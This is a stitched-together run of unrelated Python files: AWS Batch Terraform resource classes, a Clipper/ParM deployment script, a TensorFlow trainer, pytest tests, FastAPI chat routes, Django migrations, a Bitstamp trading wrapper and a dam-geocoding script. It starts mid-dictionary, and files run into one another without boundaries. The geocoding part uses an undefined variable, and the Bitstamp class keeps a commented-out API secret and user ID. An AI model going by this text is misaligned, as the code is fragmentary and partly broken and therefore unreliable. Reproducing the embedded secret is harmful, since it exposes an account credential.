'prefix': True, 'sep': '-'}, 'compute_resources': { 'required': True, 'inline_args': { 'instance_role': {'required': True}, 'instance_type': {'required': True}, 'max_vcpus': {'required': True}, 'min_vcpus': {'required': True}, 'desired_vcpus': {'required': False}, 'ec2_key_pair': {'required': False, 'prefix': True, 'sep': '_'}, 'security_group_ids': {'required': True}, 'subnets': {'required': True}, 'resource_type': {'required': True, 'tf_arg_key': "type"}, 'compute_resources_tags': {'required': False, 'tf_arg_key': "tags"} } }, 'service_role': {'required': True}, 'env_type': {'required': True, 'tf_arg_key': "type"}, 'ecs_cluster_arn': {'required': False, 'prefix': True, 'sep': '-'}, } def check_exists_before(self, input, tf_outputs): """ Check if the resource is already exists in AWS Args: input (instance): input object tf_outputs (dict): Terraform output dictionary Returns: exists (boolean): True if already exists in AWS else False checked_details (dict): Status of the existence check """ checked_details = {'attr': "name", 'value': self.get_input_attr('compute_environment_name')} exists = False if not self.resource_in_tf_output(tf_outputs): exists = batch.check_compute_env_exists( checked_details['value'], input.aws_access_key, input.aws_secret_key, input.aws_region) return exists, checked_details class BatchJobDefinitionResource(TerraformResource): """ Base resource class for Terraform AWS Batch job definition resource Attributes: resource_instance_name (str): Type of resource instance available_args (dict): Instance configurations """ resource_instance_name = "aws_batch_job_definition" available_args = { 'name': {'required': True, 'prefix': True, 'sep': '-'}, 'jd_type': {'required': True, 'tf_arg_key': "type"}, 'retry_strategy': { 'required': True, 'inline_args': { 'attempts': {'required': True}, } }, 'container_properties': {'required': True}, 'parameters': {'required': False} } def check_exists_before(self, input, tf_outputs): """ Check if the resource is already exists in AWS Args: input (instance): input object tf_outputs (dict): Terraform output dictionary Returns: exists (boolean): True if already exists in AWS else False checked_details (dict): Status of the existence check """ checked_details = {'attr': "name", 'value': self.get_input_attr('name')} exists = False if not self.resource_in_tf_output(tf_outputs): exists = batch.check_job_definition_exists( checked_details['value'], input.aws_access_key, input.aws_secret_key, input.aws_region) return exists, checked_details class BatchJobQueueResource(TerraformResource): """ Base resource class for Terraform AWS Batch job queue resource Attributes: resource_instance_name (str): Type of resource instance available_args (dict): Instance configurations """ resource_instance_name = "aws_batch_job_queue" available_args = { 'name': {'required': True, 'prefix': True, 'sep': '-'}, 'state': {'required': True}, 'priority': {'required': True}, 'compute_environments': {'required': True} } def check_exists_before(self, input, tf_outputs): """ Check if the resource is already exists in AWS Args: input (instance): input object tf_outputs (dict): Terraform output dictionary Returns: exists (boolean): True if already exists in AWS else False checked_details (dict): Status of the existence check """ checked_details = {'attr': "name", 'value': self.get_input_attr('name')} exists = False if not self.resource_in_tf_output(tf_outputs): exists = batch.check_job_queue_exists( checked_details['value'], input.aws_access_key, input.aws_secret_key, input.aws_region) return exists, checked_details """ This file contains "Models" that can be used for exercising the ParM deployment scripts locally. Each model simply returns lists of random floating point values. Models are thus computationally inexpensive and are unlikely to overload a single machine when multiple of them are run concurrently. NOTE: This script should *NOT* be used for performance comparisions. The script is only used to excercise the general deployment scripts. """ import argparse from clipper_admin import ClipperConnection, DistributedParmDockerContainerManager, ModelInstanceWorker from clipper_admin.deployers import pytorch as pytorch_deployer import time import torch import torch.nn as nn class Model(nn.Module): def __init__(self, batch_size): super(Model, self).__init__() self.outputs = torch.rand(batch_size, 1000) def forward(self, inputs, pool=None): return self.outputs def predict(model, inputs, pool=None): with torch.no_grad(): predictions = model(inputs, pool) predictions = predictions.data.cpu().numpy() return [p for p in predictions] model = None red_model = None def worker(args): print(args) if args.w_redundant: func = predict if args.redundancy_mode == "coded": input_type = "floats" else: input_type = "bytes" my_model = red_model else: func = predict input_type = "bytes" my_model = model model_instance = ModelInstanceWorker(name="example", input_type=input_type, func=func, redundant=args.w_redundant, query_frontend_hostname=args.w_qf_hostname, serialization_fn=pytorch_deployer.serialize, pkgs_to_install=['pillow'], model=my_model, gpu=torch.cuda.is_available()) print("Starting worker on port", args.w_port) model_instance.run(args.w_port) def frontend(args): print(args) batch_size = args.batch_size num_models = args.num_models num_redundant_models = args.num_redundant_models func = predict red_func = predict if args.redundancy_mode == "none" or args.redundancy_mode == "equal": redundancy_mode = 0 elif args.redundancy_mode == "coded": redundancy_mode = 2 elif args.redundancy_mode == "cheap": redundancy_mode = 3 if args.queue_mode == "single_queue": queue_mode = 0 single_queue = True else: # Round robin queue_mode = 1 single_queue = False assert len(args.f_ips) == num_models + num_redundant_models if len(args.f_ports) != len(args.f_ips): assert len(args.f_ports) == 1 args.f_ports *= len(args.f_ips) model_instance_ip_port = [] red_model_instance_ip_port = [] for i in range(len(args.f_ips)): if i < num_models: model_instance_ip_port.append((args.f_ips[i], int(args.f_ports[i]))) else: red_model_instance_ip_port.append((args.f_ips[i], int(args.f_ports[i]))) client_ip_port = [] if len(args.f_client_ports) != len(args.f_client_ips): assert len(args.f_client_ports) == 1 args.f_client_ports *= len(args.f_client_ips) client_ip_port = [(ip, int(port)) for ip, port in zip(args.f_client_ips, args.f_client_ports)] cm = DistributedParmDockerContainerManager(model_instance_ip_port=model_instance_ip_port, red_model_instance_ip_port=red_model_instance_ip_port, client_ip_port=client_ip_port) clipper_conn = ClipperConnection(cm, distributed=True) frontend_args = { "redundancy_mode": redundancy_mode, "queue_mode": queue_mode, "num_models": num_models, "num_redundant_models": num_redundant_models, "batch_size": batch_size, "mode": args.f_mode } clipper_conn.start_clipper(frontend_args=frontend_args) if args.redundancy_mode == "coded": red_input_type = "floats" else: red_input_type = "bytes" pytorch_deployer.create_endpoint( clipper_conn=clipper_conn, name="example", input_type="bytes", func=func, pytorch_model=model, pkgs_to_install=['pillow'], num_replicas=num_models, batch_size=batch_size, num_red_replicas=num_redundant_models, red_func=red_func, red_input_type=red_input_type, red_pytorch_model=red_model, prefer_original=False, slo_micros=10000000 * 10) sleep_time = 5 print("Sleeping for", sleep_time, "seconds to let things start up") time.sleep(sleep_time) total_time = cm.run_clients() print(total_time) with open(args.f_outfile, 'w') as outfile: outfile.write("{:.4f}".format(total_time)) clipper_conn.stop_all() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("task", type=str,choices=["frontend", "worker"], help="Whether the caller of this script is a frontend or worker.") parser.add_argument("redundancy_mode", type=str, choices=["none", "equal", "coded", "cheap"], help="Redundancy technique to employ") parser.add_argument("queue_mode", type=str, choices=["single_queue", "rr"], help="Load-balancing strategy to use.") parser.add_argument("model", type=str, choices=["resnet18", "resnet152"], help="Model architecture to use") parser.add_argument("--num_models", type=int, help="Number of model replicas that will be launched") parser.add_argument("--num_redundant_models", type=int, help="Number of redundant models that will be launched") parser.add_argument("--batch_size", type=int, default=1, help="Batch size to be enforced by the model server") parser.add_argument("--f_ips", nargs='+', help="List of worker ip addresses for frontend to contact") parser.add_argument("--f_ports", nargs='+', help="List of worker ports for frontend to contact") parser.add_argument("--f_client_ips", nargs='+', help="List of client ip addresses for frontend to contact") parser.add_argument("--f_client_ports", nargs='+', help="List of client ports for frontend to contact") parser.add_argument("--f_mode", type=str, help="Which mode {debug, release} to run in") parser.add_argument("--f_outfile", type=str, help="File to write stats from runner to") parser.add_argument("--w_port", type=int, help="Worker port to listen on") parser.add_argument("--w_redundant", action="store_true", help="Whether worker is redundant") parser.add_argument("--w_qf_hostname", type=str, help="Query frontend hostname") args = parser.parse_args() model = Model(args.batch_size) red_model = Model(args.batch_size) if args.task == "frontend": frontend(args) elif args.task == "worker": worker(args) else: assert False, "Unrecognized task '{}'".format(args.task) import os import matplotlib.pyplot as plt import numpy as np import tensorflow as tf import config from ml_algo.preprocessing.feature_processing import Feature_Processing from utils.file_logger import File_Logger_Helper from utils.pickel_helper import Pickle_Helper __author__ = "Jiaqi" __version__ = "1" __date__ = "Oct 28 2018" class Training(): def __init__(self, logger=None): self.logger = logger or File_Logger_Helper.get_logger(logger_fname="training") self.preprocessor = Feature_Processing() self.model_name = None self.model = None def load_model_if_exists(self, classifier_name="general", preprocess_name="general", dump_model_dir=config.PREROCESS_PICKLES_DIR): # Load the file is not already done so. If there is no pickle created, train one for it. self.logger.info("Load Model") self.dump_model_dir = dump_model_dir if not os.path.exists(dump_model_dir): os.makedirs(dump_model_dir) self.model_name = "{}_{}".format(classifier_name, preprocess_name) self.dump_model_fname = os.path.join(dump_model_dir, "{}.pickle".format(self.model_name)) self.model = Pickle_Helper.load_model_from_pickle(self.dump_model_fname) def store_model_if_not_exits(self, replace_exists=False): if not os.path.exists(self.dump_model_fname) or replace_exists is True: Pickle_Helper.save_model_to_pickle(self.model, self.dump_model_fname) def train(self, in_fname, drop_colnames: list = None, label_colname="label", is_sparse=True, standardize=False, convert_bool=False, convert_row_percentage=False, normalize_text=True, use_stem=False, bag_of_word=False, max_token_number:int = None, counter_ngram: int = None, embedding=False, sentence_size_percentage: float = 1, min_word_freq=1): X, y, feature_names = self.preprocessor.preprocess_X_y_featurenames( in_fname=in_fname, drop_colnames=drop_colnames, label_colname=label_colname, is_sparse=is_sparse, standardize=standardize, convert_bool=convert_bool, convert_row_percentage=convert_row_percentage, normalize_text=normalize_text, use_stem=use_stem, bag_of_word=bag_of_word, max_token_number=max_token_number, counter_ngram=counter_ngram, embedding=embedding, sentence_size_percentage=sentence_size_percentage, min_word_freq=min_word_freq) self.load_model_if_exists( classifier_name="logistic_regression", preprocess_name=self.preprocessor.model_name ) # Train the model here # print("X", X) X_train, X_test, y_train, y_test = self.preprocessor.split_train_test(X, y, test_size=0.1) # print("X_train", X_train) # X_train = list(X_train) # X_test = list(X_test) # y_train = list(y_train) # y_test = list(y_test) # reference : https://github.com/nfmcclure/tensorflow_cookbook/blob/master/07_Natural_Language_Processing # Setup Index Matrix for one-hot-encoding with tf.Session() as sess: # Implementing TF-IDF # --------------------------------------- # # Here we implement TF-IDF, # (Text Frequency - Inverse Document Frequency) # for the spam-ham text data. # # We will use a hybrid approach of encoding the texts # with sci-kit learn's TFIDF vectorizer. Then we will # use the regular TensorFlow logistic algorithm outline. #Do not use tf.reset_default_graph() to clear nested graphs. If you need a cleared graph, exit the nesting and create a new graph. # ops.reset_default_graph() # TODO: do we want to observe the distribution before using this? max_features = len(self.preprocessor.dictionary.vocabulary_) # Create variables for logistic regression A = tf.Variable(tf.random_normal(shape=[max_features, 1])) b = tf.Variable(tf.random_normal(shape=[1, 1])) # Initialize placeholders x_data = tf.placeholder(shape=[None, max_features], dtype=tf.float32) y_target = tf.placeholder(shape=[None, 1], dtype=tf.float32) # Declare logistic model (sigmoid in loss function) model_output = tf.add(tf.matmul(x_data, A), b) # Declare loss function (Cross Entropy loss) loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=model_output, labels=y_target)) # Actual Prediction prediction = tf.round(tf.sigmoid(model_output)) predictions_correct = tf.cast(tf.equal(prediction, y_target), tf.float32) accuracy = tf.reduce_mean(predictions_correct) # Declare optimizer my_opt = tf.train.GradientDescentOptimizer(0.0025) #why the learning rate is different here? train_step = my_opt.minimize(loss) # Intitialize Variables init = tf.global_variables_initializer() sess.run(init) # Start Logistic Regression train_loss = [] test_loss = [] train_acc = [] test_acc = [] i_data = [] batch_size = 200 X_train = X_train.toarray() # y_train = y_train.toarray() X_test = X_test.toarray() # y_test = y_test.toarray() for i in range(10000): # Randomly pick example. Why? rand_index = np.random.choice(X_train.shape[0], size=batch_size) # rand_x = X_train[rand_index].todense() rand_x = X_train[rand_index] rand_y = np.transpose([y_train[rand_index]]) sess.run(train_step, feed_dict={x_data: rand_x, y_target: rand_y}) # Only record loss and accuracy every 100 generations if (i + 1) % 100 == 0: i_data.append(i + 1) train_loss_temp = sess.run(loss, feed_dict={x_data: rand_x, y_target: rand_y}) train_loss.append(train_loss_temp) test_loss_temp = sess.run(loss, feed_dict={x_data: X_test, y_target: np.transpose([y_test])}) test_loss.append(test_loss_temp) train_acc_temp = sess.run(accuracy, feed_dict={x_data: rand_x, y_target: rand_y}) train_acc.append(train_acc_temp) test_acc_temp = sess.run(accuracy, feed_dict={x_data: X_test, y_target: np.transpose([y_test])}) test_acc.append(test_acc_temp) if (i + 1) % 500 == 0: acc_and_loss = [i + 1, train_loss_temp, test_loss_temp, train_acc_temp, test_acc_temp] acc_and_loss = [np.round(x, 2) for x in acc_and_loss] print( 'Generation # {}. Train Loss (Test Loss): {:.2f} ({:.2f}). Train Acc (Test Acc): {:.2f} ({:.2f})'.format( *acc_and_loss)) # Plot loss over time plt.plot(i_data, train_loss, 'k-', label='Train Loss') plt.plot(i_data, test_loss, 'r--', label='Test Loss', linewidth=4) plt.title('Cross Entropy Loss per Generation') plt.xlabel('Generation') plt.ylabel('Cross Entropy Loss') plt.legend(loc='upper right') plt.show() # Plot train and test accuracy plt.plot(i_data, train_acc, 'k-', label='Train Set Accuracy') plt.plot(i_data, test_acc, 'r--', label='Test Set Accuracy', linewidth=4) plt.title('Train and Test Accuracy') plt.xlabel('Generation') plt.ylabel('Accuracy') plt.legend(loc='lower right') plt.show() self.store_model_if_not_exits(replace_exists=True) tests/transformers/aggregate_keys_test.py1-10 from typing import Dict import pytest from transformer.transformers.aggregate_keys import ( AggregateKeyValue, AggregateKeyValueConfig, ) @pytest.fixture def target_data(data) -> Dict: t = data.copy() t["emails"] = [t.pop("email_1"), t.pop("email_2"), t.pop("email_3")] return t def test_aggregate_keys(data, target_data): keys = ["email_1", "email_2", "email_3"] transformer = AggregateKeyValue( config=AggregateKeyValueConfig(keys=keys, new_key="emails") ) transformed_data, _ = transformer.transform(data, {}) for p in (transformed_data, target_data): p["emails"] = set(p["emails"]) assert target_data == transformed_data def test_aggregate_pattern(data, target_data): transformer = AggregateKeyValue( config=AggregateKeyValueConfig(pattern="^(email_).*", new_key="emails") ) transformed_data, _ = transformer.transform(data, {}) for p in (transformed_data, target_data): p["emails"] = set(p["emails"]) assert target_data == transformed_data yonbt/utils.py1-10 import logging from typing import Tuple log = logging.getLogger(__name__) def chunkByBlock(x: int, z: int) -> Tuple[int, int]: return (x >> 4), (z >> 4) def locateBlock(x: int, z: int) -> Tuple[str, Tuple[int, int]]: region = 'r.' + str((x >> 4) // 32) + '.' + str((z >> 4) // 32) + '.mca' chunk = (x >> 4), (z >> 4) return region, chunk def locateChunk(x: int, z: int) -> str: return 'r.' + str(x // 32) + '.' + str(z // 32) + '.mca' import logging from CustomLogger.customformatter import CustomFormatter, FORMAT from CustomLogger.customhandlers import TimedFileHandler, get_path def getLogger(name: str = "CustomLogger", level: int = 20, log_path: str = "./log/") -> logging.Logger: # create logger logger = logging.getLogger(name) # create console handler and set Formatter ch = logging.StreamHandler() ch.setFormatter(CustomFormatter()) # create directory if not exists file_path = get_path(name, log_path) # create file handler and set Formatter fh = logging.FileHandler(file_path) fh.setFormatter(logging.Formatter(FORMAT, "%d.%m.%Y %H:%M:%S")) # add Handler logger.addHandler(ch) logger.addHandler(fh) # setting logging level logger.setLevel(level) fh.setLevel(level) ch.setLevel(level) # Thread to change Logfile Name at Midnight TimedFileHandler(logger, log_path, name) logger.info(f"Logger started. Write Logfile to: {file_path}") return logger import sys from typing import Optional from fastapi import APIRouter from fastapi import Depends from loguru import logger from sqlalchemy.orm import Session from starlette.background import BackgroundTask from starlette.responses import Response from starlette.status import HTTP_201_CREATED from dinofw.rest.models import Message from dinofw.rest.queries import JoinGroupQuery, EditMessageQuery from dinofw.rest.queries import UpdateGroupQuery from dinofw.rest.queries import UpdateUserGroupStats from dinofw.utils import environ from dinofw.utils.api import get_db from dinofw.utils.api import log_error_and_raise_known from dinofw.utils.api import log_error_and_raise_unknown from dinofw.utils.config import ErrorCodes from dinofw.utils.decorators import wrap_exception from dinofw.utils.exceptions import NoSuchGroupException, NoSuchMessageException from dinofw.utils.exceptions import UserNotInGroupException from dinofw.utils.perf import timeit router = APIRouter() @router.put("/userstats/{user_id}", status_code=HTTP_201_CREATED) @timeit(logger, "PUT", "/userstats/{user_id}") @wrap_exception() async def update_user_stats(user_id: int, db: Session = Depends(get_db)) -> Response: """ Update user status, e.g. because the user got blocked, is a bot, was force fake-checked, etc. Will set `last_updated_at` on all user group stats that has had an interaction with this user (including this user's user group stats). This API is run asynchronously, and returns a 201 Created instead of 200 OK. **Potential error codes in response:** * `250`: if an unknown error occurred. """ def set_last_updated(user_id_, db_): environ.env.rest.group.set_last_updated_at_on_all_stats_related_to_user( user_id_, db_ ) try: task = BackgroundTask(set_last_updated, user_id_=user_id, db_=db) return Response(background=task, status_code=HTTP_201_CREATED) except Exception as e: log_error_and_raise_unknown(sys.exc_info(), e) @router.put("/user/{user_id}/read", status_code=HTTP_201_CREATED) @timeit(logger, "PUT", "/user/{user_id}/read") @wrap_exception() async def mark_all_groups_as_read( user_id: int, db: Session = Depends(get_db) ) -> Response: """ Mark all groups as read, including removing any bookmarks done by the user. This API is run asynchronously, and returns a 201 Created instead of 200 OK. **Potential error codes in response:** * `250`: if an unknown error occurred. """ def set_read_time(user_id_, db_): environ.env.rest.group.mark_all_as_read(user_id_, db_) try: task = BackgroundTask(set_read_time, user_id_=user_id, db_=db) return Response(background=task, status_code=HTTP_201_CREATED) except Exception as e: log_error_and_raise_unknown(sys.exc_info(), e) @router.put("/groups/{group_id}/user/{user_id}/update") @timeit(logger, "PUT", "/groups/{group_id}/user/{user_id}/update") @wrap_exception() async def update_user_statistics_in_group( group_id: str, user_id: int, query: UpdateUserGroupStats, db: Session = Depends(get_db), ) -> None: """ Update user statistic in a group. Only values specified in the query will be updated (if a field is blank in the query it won't be updated). This API should __NOT__ be used to update `last_read_time` when opening a conversation. The `last_read_time` is updated automatically when a user calls the `/v1/groups/{group_id}/user/{user_id}/histories` API for a group. **Can be used for updating the following:** * `last_read_time`: should be creating time of last received message, * `delete_before`: when a user deletes a conversation, set to the creation time of the last received message, * `highlight_time`: until when should this conversation be highlighted for this user, * `highlight_limit`: max number of highlights to allow (will cancel the oldest highlight time if this call causes the highlights to exceed the limit) * `hide`: whether to hide/show a conversation, * `bookmark`: whether to bookmark a conversation or not, * `pin`: whether to pin a conversation or not, * `rating`: a user can rate a conversation (1v1 usually). When setting `bookmark` to false, it will set the unread count to 0, and `last_read_time` will be `last_message_time`. **Potential error codes in response:** * `600`: if the user is not in the group, * `601`: if the group does not exist, * `250`: if an unknown error occurred. """ try: return await environ.env.rest.group.update_user_group_stats( group_id, user_id, query, db ) except NoSuchGroupException as e: log_error_and_raise_known(ErrorCodes.NO_SUCH_GROUP, sys.exc_info(), e) except UserNotInGroupException as e: log_error_and_raise_known(ErrorCodes.USER_NOT_IN_GROUP, sys.exc_info(), e) except Exception as e: log_error_and_raise_unknown(sys.exc_info(), e) @router.put("/groups/{group_id}") @timeit(logger, "PUT", "/groups/{group_id}") @wrap_exception() async def edit_group_information( group_id, query: UpdateGroupQuery, db: Session = Depends(get_db) ) -> None: """ Update group details. **Potential error codes in response:** * `601`: if the group does not exist, * `250`: if an unknown error occurred. """ try: await environ.env.rest.group.update_group_information( group_id, query, db ) except NoSuchGroupException as e: log_error_and_raise_known(ErrorCodes.NO_SUCH_GROUP, sys.exc_info(), e) except Exception as e: log_error_and_raise_unknown(sys.exc_info(), e) @router.put("/groups/{group_id}/join") @timeit(logger, "PUT", "/groups/{group_id}/join") @wrap_exception() async def join_group( group_id: str, query: JoinGroupQuery, db: Session = Depends(get_db) ) -> None: """ Join a group. **Potential error codes in response:** * `601`: if the group does not exist, * `250`: if an unknown error occurred. """ try: return await environ.env.rest.group.join_group(group_id, query, db) except NoSuchGroupException as e: log_error_and_raise_known(ErrorCodes.NO_SUCH_GROUP, sys.exc_info(), e) except Exception as e: log_error_and_raise_unknown(sys.exc_info(), e) @router.put("/users/{user_id}/message/{message_id}/edit", response_model=Optional[Message]) @timeit(logger, "PUT", "/users/{user_id}/message/{message_id}/edit") @wrap_exception() async def edit_message( user_id: int, message_id: str, query: EditMessageQuery, db: Session = Depends(get_db) ) -> Message: """ Edit the context of a message. Returns the ActionLog for the edit. **Potential error codes in response:** * `602`: if the message doesn't exist for the given group and user, * `250`: if an unknown error occurred. """ try: return await environ.env.rest.message.edit(user_id, message_id, query, db) except NoSuchMessageException as e: log_error_and_raise_known(ErrorCodes.NO_SUCH_MESSAGE, sys.exc_info(), e) except Exception as e: log_error_and_raise_unknown(sys.exc_info(), e) 1-10 """Utils tests.""" import subprocess from mock import patch from riotgen.utils import get_usermail, get_username, clone_repository @patch("subprocess.check_output") def test_get_usermail(m_check): """Test the get_usermail function.""" m_check.return_value = b"email\n" assert get_usermail() == "email" m_check.side_effect = subprocess.CalledProcessError(42, "test") assert get_usermail() == "" @patch("subprocess.check_output") def test_get_username(m_check): """Test the get_username function.""" m_check.return_value = b"name\n" assert get_username() == "name" m_check.side_effect = subprocess.CalledProcessError(42, "test") assert get_username() == "" @patch("subprocess.check_call") def test_clone_repository(m_check): """Test the clone_repository function.""" m_check.return_value = 0 assert clone_repository("test", "test", "test") == 0 apps/logs/migrations/0017_virtual_report_types.py # Generated by Django 2.2.4 on 2019-09-04 13:34 import django.contrib.postgres.fields.jsonb from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('core', '0007_timestamps'), ('logs', '0016_report_interest_metrics'), ] operations = [ migrations.AlterModelOptions( name='metric', options={'ordering': ('short_name', 'name')}, ), migrations.CreateModel( name='VirtualReportType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('short_name', models.CharField(max_length=100)), ('name', models.CharField(max_length=250)), ('desc', models.TextField(blank=True)), ('metric_allowed_values', django.contrib.postgres.fields.jsonb.JSONField(blank=True, default=list)), ('base_report_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='logs.ReportType')), ('source', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='core.DataSource')), ], ), migrations.CreateModel( name='DimensionFilter', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('allowed_values', django.contrib.postgres.fields.jsonb.JSONField(blank=True, default=list)), ('dimension', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='logs.Dimension')), ('virtual_report_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='dimension_filters', to='logs.VirtualReportType')), ], ), ] # Generated by Django 2.0.3 on 2018-03-27 09:34 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('player', '0003_player_image'), ] operations = [ migrations.AddField( model_name='player', name='image_description', field=models.CharField(blank=True, max_length=255), ), migrations.AlterField( model_name='player', name='image', field=models.ImageField(blank=True, upload_to='players/'), ), ] from exchanges.abstract import * from auths import BitstampAuth import time import datetime class Bitstamp(Exchange): #key = "" #secret = "WLjeD9KXmTTOHVadCOP9dThiLldkRIrd" #user_id = 909412 PUBLIC_URL = "https://www.bitstamp.net/api/" PRIVATE_URL = PUBLIC_URL PAIRS = ( "btc_usd", ) # in USD FEES = ( {"amount":0, "fee":0.0025}, {"amount":20000, "fee":0.0024}, {"amount":100000, "fee":0.0022}, {"amount":200000, "fee":0.002}, {"amount":400000, "fee":0.0015}, {"amount":600000, "fee":0.0014}, {"amount":1000000, "fee":0.0013}, {"amount":2000000, "fee":0.0012}, {"amount":4000000, "fee":0.0011}, {"amount":20000000, "fee":0.0010}, ) FEES_CUR = "usd" ORDER_TYPES = ( Order.LIMIT_ORDER, ) MIN_ORDER = 5.0 MIN_ORDER_CUR = "usd" def public_json(self, url): r = requests.get(self.PUBLIC_URL + url) r = r.json() if r.get("error"): raise APIError(r["error"]) return r def private_json(self, method, auth, params={}): r = requests.post( self.PRIVATE_URL + method + "/", data=BitstampAuth().update_params( params, auth[0], auth[1], auth[2] ) ) r = r.json() if type(r) is dict and r.get("error"): raise APIError(r["error"]) return r def pair_detail(self, pair): if not pair in self.PAIRS: raise APIError("Invalid pair name: %s" % pair) r = self.public_json("ticker/") ticker = Ticker( low=float(r["low"]), high=float(r["high"]), average=float(r["vwap"]), bid=float(r["bid"]), ask=float(r["ask"]), last=float(r["last"]) ) volume = float(r["volume"]) r = self.public_json("order_book/") bids = [(float(x[0]), float(x[1])) for x in r["bids"]] asks = [(float(x[0]), float(x[1])) for x in r["asks"]] orderbook = OrderBook(bids, asks) return Pair(ticker, volume, orderbook, self.FEES) def pair_ticker(self, pair): r = self.public_json("ticker/") return Ticker( low=float(r["low"]), high=float(r["high"]), average=float(r["vwap"]), bid=float(r["bid"]), ask=float(r["ask"]), last=float(r["last"]) ) def user_detail(self, auth): r = self.private_json("balance", auth) balances = {"btc":float(r["btc_available"]), "usd":float(r["usd_available"])} r = self.private_json("user_transactions", auth) trades = [] for trade in r: if float(trade["btc_usd"]) != 0.0: btc_amount = float(trade["btc"]) if btc_amount < 0.0: trade_type = "sell" else: trade_type = "buy" timestamp = int(time.mktime(datetime.datetime.strptime(trade["datetime"], "%Y-%m-%d %H:%M:%S").timetuple())) trades.append( Trade( "btc_usd", float(trade["btc_usd"]), abs(btc_amount), trade_type, timestamp ) ) return User(balances, trades) def api_key_detail(self, auth): perm = APIKey.PERMISSIONS perm[APIKey.USER_BALANCES] = self.try_permission("balance", auth, errors_ok=False) perm[APIKey.USER_TRADES] = self.try_permission( "user_transactions", auth ) perm[APIKey.ORDER_LIST] = self.try_permission("open_orders", auth) perm[APIKey.ORDER_DETAIL] = self.try_permission("order_status", auth) perm[APIKey.ORDER_CREATE] = self.try_permission("buy", auth) perm[APIKey.ORDER_DELETE] = self.try_permission("cancel_order", auth) return APIKey(perm) def try_permission(self, permission, auth, errors_ok=True): try: r = self.private_json(permission, auth) except APIError as e: if errors_ok and str(e) == "No permission found": return 0 elif not errors_ok: raise APIError(str(e)) return 1 def order_list(self, auth): r = self.private_json("open_orders", auth) return self.orders_from_list(r) def order_detail(self, order_id, auth): orders = self.private_json("open_orders", auth) order = self.private_json("order_status", auth, params={"id":order_id}) result = self.orders_from_list(orders, order_id=int(order_id), trades=order["transactions"]) if len(result) > 0: return result else: raise APIError("Order not found.") def order_create(self, order, auth): if not order.order_type in self.ORDER_TYPES: raise APIError("Invalid order type.") params = { "price":order.price, "amount":order.amount } r = self.private_json(order.direction, auth, params=params) return r["id"] def order_delete(self, order_id, auth): self.private_json("cancel_order", auth, params={"id":order_id}) def orders_from_list(self, data, order_id=None, trades=None): orders = [] for order in data: if order_id == None or order_id == order["id"]: amount = order["amount"] amount_remaining = None if trades != None: amount_remaining = float(amount) for trade in trades: amount_remaining -= float(trade["btc"]) amount_remaining = float(amount_remaining) if order["type"] == 1: order_type = "sell" else: order_type = "buy" orders.append( Order( "btc_usd", Order.LIMIT_ORDER, order_type, float(amount), price=float(order["price"]), order_id=int(order["id"]), amount_remaining=amount_remaining ) ) return orders# [Description] ------------------------------ # Module name "Geocoding_ICOLD_QA.py" # This module loops through all geocoding solutions for each ICOLD WRD record (output of Geocoding_ICOLD.py) # and rank them based on their corresponding QA levels (see Table 5 in Wang et al. (2021). For each unique # ICOLD WRD record, the geocoding solution with the best possible rank is then written to the output with # the associated QA label. # Please note that if the best possible solution does not meet the baseline QA scenario as defined in # Table 5 of Wang et al. (2021), this ICOLD WRD record will be filtered out and will not be written to the # output. # Reference: ., ., ., ., ., ., ., ., ., # ., ., ., ., ., and ., 2021. GeoDAR: # Georeferenced global dam and reservoir database for bridging attributes and geolocations. Earth System # Science Data, in review. # Script written by: , Kansas State University. # Last update: March 4, 2021 # Contact: ; #--------------------------------------------- # [Setup] ----------------------------------- # Inputs # 1. geocoded_ICOLD: full path of the geocoded ICOLD WRD. # This file is the output from Geocoding_ICOLD.py, which is then further expanded with additional address # components from another round of reverse geocoding before being used here. See Wang et al. (2021) for methods. geocoded_ICOLD = r"...\Geocoded_ICOLD_revgeo.xlsx" # 2. country_lookup_table: full path of the lookup table for country ISO 3166-2 codes (file provided). country_lookup_table = r'...\Countries_lookup.csv' # 3. US_state_lookup_table: full path of the lookup table for the ISO 3166-2 codes for US states (file provided). US_state_lookup_table = r'...\Countries_lookup.csv' # 4. Korea_state_lookup_table: full path of the lookup table for South Korean provinces. Some of them are # spelled differently in between ICOLD WRD and Google Maps. Korea_state_lookup_table = r'...\Countries_lookup.csv' # 5. geocoding_key: user-specific Google Maps API key. # The API key can be created by following the instruction below: # https://developers.google.com/maps/documentation/geocoding/get-api-key geocoding_key = 'Google-Maps-API-Key' # 6. similarity_threshold: numeric value for the minimum similarity score between two sequences (such as # dam names from ICOLD WRD and the regional register) that were considered to be equivalent. similarity_threshold = 5.0/6.0 #close to 85%, which is slightly more lenient than that used for geo-matching # considering that the spelling variation in WRD and Google Maps (in different regions) could be more evident # and the outputs from the geocoding API have already gone through a similarity measure. # Output # geocoded_ICOLD_QA: full path of the geocoded WRD records after QA filtering. If there are multiple geocoding # solutions for the same original WRD record in geocoded_ICOLD, the solution with the best possible QA ranking # will be selected. If the best possible QA ranking does not satisfy the minimum baseline QA scenario (see # Table 5 in Wang et al. (2021)), this WRD record will not be written to the output. geocoded_ICOLD_QA = r"...\Geocoded_ICOLD_QA.xlsx" #--------------------------------------------- # [Script] ----------------------------------- # Import built-in functions and tools import http, urllib, csv, json, unicodedata, sys, datetime, xlsxwriter, openpyxl import statistics from statistics import stdev from difflib import SequenceMatcher # Import customized functions (see Preparation and descriptions within "Georeferencing_functions.py"). from Georeferencing_functions import remove_accents, similar_v2, damname_similar_v2 print("----- Module Started -----") print(datetime.datetime.now()) # Read country names and ISO codes country_ISO_array = [] country_NAME_array = [] country_NAME_array_no_accent = [] with open(country_lookup_CSV, "r") as csvinput: for row in csv.reader(csvinput, delimiter=','): country_ISO_array.append((row[1]).lower().strip()) country_NAME_array.append((row[6]).lower().strip()) country_NAME_array_no_accent.append(remove_accents((row[6]).lower().strip())) #ICOLD NAMES # Read US state names and ISO codes state_ISO_array = [] state_NAME_array = [] with open(US_state_lookup_table, "r") as csvinput: for row in csv.reader(csvinput, delimiter=','): 